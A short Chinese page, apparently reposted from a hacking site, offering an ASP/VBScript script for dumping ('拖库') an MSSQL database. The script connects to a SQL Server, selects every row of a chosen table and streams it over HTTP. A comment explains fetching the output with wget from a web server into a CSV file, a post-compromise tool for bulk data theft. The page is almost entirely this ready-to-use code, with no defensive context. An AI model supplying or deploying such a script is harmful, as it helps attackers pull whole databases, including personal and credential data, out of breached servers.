asp拖mssql库脚本脚本安全 -电脑资料

    asp拖mssql库脚本

    <%@LANGUAGE="VBSCRIPT" CODEPAGE="65001" '这里改编码方式%>

    <%

    '用法：如果把本程序放在http://www.xxx.com/sql.asp，可以wget http://www.xxx.com/sql.asp -O x.csv 来直接拖库，这是marcos写的脚本

    Response.Buffer = True

    Server.ScriptTimeout = 2147483647

    str="Driver={Sql Server};Server=192.168.1.5;Uid=mssql库名;Pwd=www.myhack58.com密码;Database=库名" 这里是连接字符串

    Set Conn=Server.CreateObject("Adodb.connection")

    Conn.Open str

    Set Rs = Server.Createobject("Adodb.Recordset")

    Sqlstr="SELECT * FROM 库名.dbo.[表名]" '这里是导哪个库哪个表的语句

    Rs.Open Sqlstr,Conn,3,3

    If(Rs.Fields.Count > 0)Then

    For I = 0 To Rs.Fields.Count - 1

    Response.Write Rs.Fields(i).Name & " "

    Next

    Response.Write(vbNewLine)

    For I = 1 To Rs.RecordCount

    If(I Mod 100 = 0)Then

    Response.Flush

    End If

    For J = 0 To Rs.Fields.Count - 1

    Response.Write Rs(J) & " "

    Next

    Response.Write(vbNewLine)

    Rs.MoveNext

    Next

    End If

    Rs.Close

    Conn.Close

    If(Err <> 0)Then Response.Write(Err.Description)

    Set Rs = Nothing

    Set Conn = Nothing

    %>